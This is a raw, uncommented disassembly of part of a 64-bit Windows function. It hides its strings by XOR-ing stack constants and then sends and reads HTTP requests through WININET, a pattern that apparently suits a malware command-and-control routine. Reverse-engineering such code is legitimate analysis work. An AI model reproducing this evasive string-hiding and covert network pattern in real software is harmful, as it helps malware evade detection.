movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rsi, 1
jne 0x14004ce10
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rdx
mov qword [r15 + 0x18], rdx
lea rax, [rbp + 0x490]
inc rdi
cmp byte [rax + rdi], dl
jne 0x14004ce86
mov r8, rdi
lea rdx, [rbp + 0x490]
mov rcx, r15
call fcn.140045bd0
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14004cedc
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ced7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d293
call fcn.1400e7658
movdqa xmm0, xmmword [0x140118fa0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14004cf28
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cf23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004d2e2
call fcn.1400e7658
movdqa xmm0, xmmword [0x140118fa0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140055130
nop
jmp 0x14004cc8a
movabs rax, 0xee712dad32b8039
mov qword [rbp - 0x70], rax
movabs rcx, 0x29270800cf91b633
mov qword [rbp - 0x68], rcx
movabs rax, 0x3fc923f5837fd471
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
xorps xmm2, xmm2
lea rax, [rbp + 0x210]
xor edx, edx
nop dword [rax + rax]
mov qword [rax], rdx
mov qword [rax + 8], rdx
lea rax, [rax + 0x10]
sub r14, 1
jne 0x14004cf90
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x490], xmm0
movaps xmmword [rbp + 0x4a0], xmm2
movaps xmm0, xmmword [rbp + 0x230]
movaps xmmword [rbp + 0x4b0], xmm0
movaps xmm1, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x4c0], xmm1
movaps xmm0, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmm1, xmmword [rbp + 0x260]
movaps xmmword [rbp + 0x4e0], xmm1
movaps xmm0, xmmword [rbp + 0x270]
movaps xmmword [rbp + 0x4f0], xmm0
movaps xmm1, xmmword [rbp + 0x280]
movaps xmmword [rbp + 0x500], xmm1
movaps xmm0, xmmword [rbp + 0x290]
movaps xmmword [rbp + 0x510], xmm0
lea r8, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r8, qword [rbp + 0x10]
movabs rax, 0x1360aee9aa2
mov qword [rsp + 0x40], rax
movabs rcx, 0x378dc45d4b7f7cd
mov qword [rsp + 0x48], rcx
movabs rax, 0x1365ebdd5f2
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp - 0x70], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x30], xmm1
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 0x80800000
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x490]
lea rdx, [rbp - 0x70]
mov r14, qword [rbp + 0x1a40]
mov rcx, r14
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rbp + 0x1a40], rax
test rax, rax
jne 0x14004d355
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rax, 0x4c9aae036499549
mov qword [rbp + 0x50], rax
movabs rax, 0x149fca01526e9566
mov qword [rbp + 0x58], rax
movabs rax, 0x1a863dda788b2798
mov qword [rbp + 0x60], rax
movabs rax, 0x68d8dc96e328ae70
mov qword [rbp + 0x68], rax
movabs rax, 0x6aa68a92593be70c
mov qword [rbp + 0x90], rax
movabs rax, 0x71ef8571261add46
mov qword [rbp + 0x98], rax
movabs rax, 0x6ef558af09ee75f6
mov qword [rbp + 0xa0], rax
movabs rax, 0x68d8dc96e328ae31
mov qword [rbp + 0xa8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x210]
mov ebx, 4
xor edx, edx
nop dword [rax]
mov qword [rax], rdx
mov qword [rax + 8], rdx
lea rax, [rax + 0x10]
sub rbx, 1
jne 0x14004d170
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm4
movdqa xmmword [rbp + 0x240], xmm5
lea rax, [rbp + 0x490]
lea rcx, [rbp + 0x210]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rsi, 1
jne 0x14004d1d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [r15], xmm0
mov qword [r15 + 0x10], rdx
mov qword [r15 + 0x18], rdx
lea rax, [rbp + 0x490]
inc rdi
cmp byte [rax + rdi], dl
jne 0x14004d246
mov r8, rdi
lea rdx, [rbp + 0x490]
mov rcx, r15
call fcn.140045bd0
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14004d29f
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d29a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d29a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e7658
movdqa xmm0, xmmword [0x140118fa0]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14004d2ee
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d2e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d2e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e7658
movdqa xmm0, xmmword [0x140118fa0]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140055130
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14004dd02
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ccc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ccc5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movabs rax, 0x127ac3e85ae1e9bd
mov qword [rbp + 0x210], rax
movabs rax, 0x53c9a725d11102c7
mov qword [rbp + 0x218], rax
movabs rax, 0x1f6552f7484d05ac
mov qword [rbp + 0x220], rax
movabs rax, 0x7ab5ef90e8238db7
mov qword [rbp + 0x228], rax
movabs rdx, 0x1fffffffe0000000
mov qword [rbp + 0x230], rdx
movabs rcx, 0xe00000002000387f
mov qword [rbp + 0x238], rcx
movabs rax, 0x3f0ead8d2e8f86fe
mov qword [rbp + 0x270], rax
movabs rax, 0x23a8871fb4617b93
mov qword [rbp + 0x278], rax
movabs rax, 0x700c26962b2469dc
mov qword [rbp + 0x280], rax
movabs rax, 0x70b881ff9b49a2d9
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x290], rdx
mov qword [rbp + 0x298], rcx
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x490]
mov rcx, r13
xor r9d, r9d
nop dword [rax]
nop word [rax + rax]
mov qword [rax], r9
mov qword [rax + 8], r9
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14004d430
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
xorps xmm1, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x4b0], xmm0
movdqa xmmword [rbp + 0x4c0], xmm5
movdqa xmmword [rbp + 0x4d0], xmm6
movdqa xmmword [rbp + 0x4e0], xmm7
lea rax, [rbp + 0x210]
lea rcx, [rbp + 0x490]
mov ebx, 4
mov edx, ebx
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14004d4c0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x1c0], xmm1
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1d0], xmm0
lea rax, [rbp + 0x210]
mov r8, rdi
inc r8
cmp byte [rax + r8], r9b
jne 0x14004d537
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1c0]
call fcn.140045bd0
nop
movabs rax, 0x4ac4d0c098a9c
mov qword [rbp + 0x210], rax
movabs rax, 0x5c8d004837037be3
mov qword [rbp + 0x218], rax
movabs rax, 0x1e25fb40f1ec93f4
mov qword [rbp + 0x220], rax
movabs rax, 0x442c2daf8c461c8d
mov qword [rbp + 0x228], rax
movabs rax, 0xd257b0659cd64f1
mov qword [rbp + 0x230], rax
movabs rcx, 0x8a806757d4904f0
mov qword [rbp + 0x238], rcx
xorps xmm5, xmm5
movabs rax, 0x632496236962e5e8
mov qword [rbp + 0x270], rax
movabs rax, 0x68be657a54354bd5
mov qword [rbp + 0x278], rax
movabs rax, 0x7b14c323928ea6c0
mov qword [rbp + 0x280], rax
movabs rax, 0x711f1d96ed742cb5
mov qword [rbp + 0x288], rax
movabs rax, 0xd104b6238fc07c3
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x490]
xor ecx, ecx
nop dword [rax + rax]
mov qword [rax], rcx
mov qword [rax + 8], rcx
lea rax, [rax + 0x10]
sub r13, 1
jne 0x14004d630
movdqa xmm0, xmmword [rbp + 0x210]
xorps xmm0, xmmword [rbp + 0x270]
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmm1, xmmword [rbp + 0x220]
xorps xmm1, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmm0, xmmword [rbp + 0x230]
xorps xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x4b0], xmm0
movdqa xmmword [rbp + 0x4c0], xmm5
movdqa xmmword [rbp + 0x4d0], xmm6
movdqa xmmword [rbp + 0x4e0], xmm7
lea rax, [rbp + 0x210]
lea rcx, [rbp + 0x490]
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r12, 1
jne 0x14004d6b0
lea rax, [rbp + 0x210]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14004d710
mov r8, rdi
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x1c0]
call fcn.140045980
lea rdx, [rbp + 0x1e8]
lea rcx, [rsp + 0x60]
call fcn.140052f40
nop
lea r9, [rbp + 0x1e8]
cmp qword [rbp + 0x200], 0xf
cmova r9, qword [rbp + 0x1e8]
lea rcx, [rbp + 0x1c0]
call fcn.140045760
mov ecx, dword [rbp + 0x1f8]
mov dword [rsp + 0x20], ecx
mov r8d, dword [rbp + 0x1d0]
mov rdx, rax
mov rdi, qword [rbp + 0x1a40]
mov rcx, rdi
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
test eax, eax
jne 0x14004d95d
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x1a48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rax, 0x1d7149c2d7866daa
mov qword [rbp + 0x50], rax
movabs rax, 0xbc62994da3b8342
mov qword [rbp + 0x58], rax
movabs rax, 0x1555d96c73610725
mov qword [rbp + 0x60], rax
movabs rax, 0x66b35304c551c223
mov qword [rbp + 0x68], rax
movabs rax, 0x731e69b0b8f41fef
mov qword [rbp + 0x90], rax
movabs rax, 0x65a37ae4ae4fcb62
mov qword [rbp + 0x98], rax
movabs rax, 0x6126bc1902045541
mov qword [rbp + 0xa0], rax
movabs rax, 0x66b35304c551c262
mov qword [rbp + 0xa8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x210]
xor ecx, ecx
nop word [rax + rax]
mov qword [rax], rcx
mov qword [rax + 8], rcx
lea rax, [rax + 0x10]
sub rbx, 1
jne 0x14004d840
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm4
movdqa xmmword [rbp + 0x240], xmm5
lea rax, [rbp + 0x490]
lea rcx, [rbp + 0x210]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rsi, 1
jne 0x14004d8a0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rdx, [rbp + 0x490]
mov rcx, r15
call fcn.1400457d0
nop
lea rcx, [rbp + 0x1e8]
call fcn.140045770
nop
lea rcx, [rbp + 0x1c0]
call fcn.140045770
nop
lea rcx, [rbp + 0x10]
call fcn.140045770
nop
lea rcx, [rbp + 0x30]
call fcn.140045770
nop
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140055130
nop
lea rcx, [rsp + 0x70]
call fcn.140045770
jmp 0x14004dd02
lea r9, [rbp + 0x1a30]
mov r8d, 0x1000
lea rdx, [rbp + 0x9d0]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rdi
test eax, eax
jne 0x14004db4d
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x1a48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
movabs rax, 0x11490afb937e34c8
mov qword [rbp + 0x50], rax
movabs rax, 0x15ce01115d7570d4
mov qword [rbp + 0x58], rax
movabs rax, 0x167f2ce90c4c1f5c
mov qword [rbp + 0x60], rax
movabs rax, 0x628ca29c263c1878
mov qword [rbp + 0x68], rax
movabs rax, 0x7f262a89fc0c468d
mov qword [rbp + 0x90], rax
movabs rax, 0x70a07374291b39f4
mov qword [rbp + 0x98], rax
movabs rax, 0x7a166a8d6d294d28
mov qword [rbp + 0xa0], rax
movabs rax, 0x628ca29c263c181d
mov qword [rbp + 0xa8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
lea rax, [rbp + 0x210]
xor ecx, ecx
nop dword [rax]
mov qword [rax], rcx
mov qword [rax + 8], rcx
lea rax, [rax + 0x10]
sub rbx, 1
jne 0x14004da30
movdqa xmm0, xmmword [rbp + 0x50]
xorps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
xorps xmm1, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x220], xmm1
movdqa xmmword [rbp + 0x230], xmm4
movdqa xmmword [rbp + 0x240], xmm5
lea rax, [rbp + 0x490]
lea rcx, [rbp + 0x210]
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rsi, 1
jne 0x14004da90
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rdx, [rbp + 0x490]
mov rcx, r15
call fcn.1400457d0
nop
lea rcx, [rbp + 0x1e8]
call fcn.140045770
nop
lea rcx, [rbp + 0x1c0]
call fcn.140045770
nop
lea rcx, [rbp + 0x10]
call fcn.140045770
nop
lea rcx, [rbp + 0x30]
call fcn.140045770
nop
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140055130
nop
lea rcx, [rsp + 0x70]
call fcn.140045770
jmp 0x14004dd02
mov eax, dword [rbp + 0x1a30]
mov byte [rbp + rax + 0x9d0], 0
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x1a48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp + 0x9d0]
mov rcx, r15
call fcn.1400457d0
nop
lea rcx, [rbp + 0x1e8]
call fcn.140045770
nop
lea rcx, [rbp + 0x1c0]
call fcn.140045770
nop
lea rcx, [rbp + 0x10]
call fcn.140045770
nop
lea rcx, [rbp + 0x30]
call fcn.140045770
nop
movzx edx, byte [rsp + 0x60]
lea rcx, [rsp + 0x68]
call fcn.140055130
nop
lea rcx, [rsp + 0x70]
call fcn.140045770
jmp 0x14004dd02
movabs rax, 0x1c86891a192bc6be
mov qword [rbp - 0x70], rax
movabs rax, 0x23ce897ab4389423
mov qword [rbp - 0x68], rax
xorps xmm2, xmm2
movabs rax, 0x3ce2e076785da8f7
mov qword [rbp - 0x50], rax
movabs rax, 0x23ce8916dd59f946
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x210]
xor edx, edx
mov r14d, 2
nop
mov qword [rax], rdx
mov qword [rax + 8], rdx
lea rax, [rax + 0x10]
sub r14, 1
jne 0x14004dc20
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x210], xmm0
movdqa xmmword [rbp + 0x220], xmm2
lea rcx, [rbp + 0x490]
lea rax, [rbp + 0x210]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rax]
movups xmmword [rcx], xmm1
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm0
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm1
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm0
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm1
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm0
xorps xmm1, xmm1
movups xmmword [r15], xmm1
mov qword [r15 + 0x10], rdx
mov qword [r15 + 0x18], rdx
lea rax, [rbp + 0x490]
inc rdi
cmp byte [rax + rdi], dl
jne 0x14004dce8
mov r8, rdi
lea rdx, [rbp + 0x490]
mov rcx, r15
call fcn.140045bd0
mov rax, r15
lea r11, [rsp + 0x1af0]
mov rbx, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140045ed0
nop
call fcn.140045ed0
int3